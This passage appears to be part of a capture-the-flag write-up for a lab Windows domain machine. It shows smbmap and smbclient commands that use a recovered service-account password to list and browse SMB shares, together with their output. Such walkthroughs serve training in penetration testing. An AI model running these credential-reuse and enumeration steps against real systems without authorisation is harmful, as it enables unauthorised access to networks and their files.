Foothold
With this new set of creds we can enumerate the share again and file more accessible shares.
smbmap -H 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON READ ONLY Logon server share
Replication READ ONLY
SYSVOL READ ONLY Logon server share
Users READ ONLY smbclient //10.10.10.100/Users -U active.htb\\SVC_TGS%GPPstillStandingStrong2k18smb: \> ls
. DR 0 Sat Jul 21 09:39:20 2018
.. DR 0 Sat Jul 21 09:39:20 2018
Administrator D 0 Mon Jul 16 05:14:21 2018
All Users DHSrn 0 Tue Jul 14 00:06:44 2009
Default DHR 0 Tue Jul 14 01:38:21 2009
Default User DHSrn 0 Tue Jul 14 00:06:44 2009
desktop.ini AHS 174 Mon Jul 13 23:57:55 2009
Public DR 0 Mon Jul 13 23:57:55 2009
SVC_TGS D 0 Sat Jul 21 10:16:32 2018
5217023 blocks of size 4096. 279100 blocks available
Last updated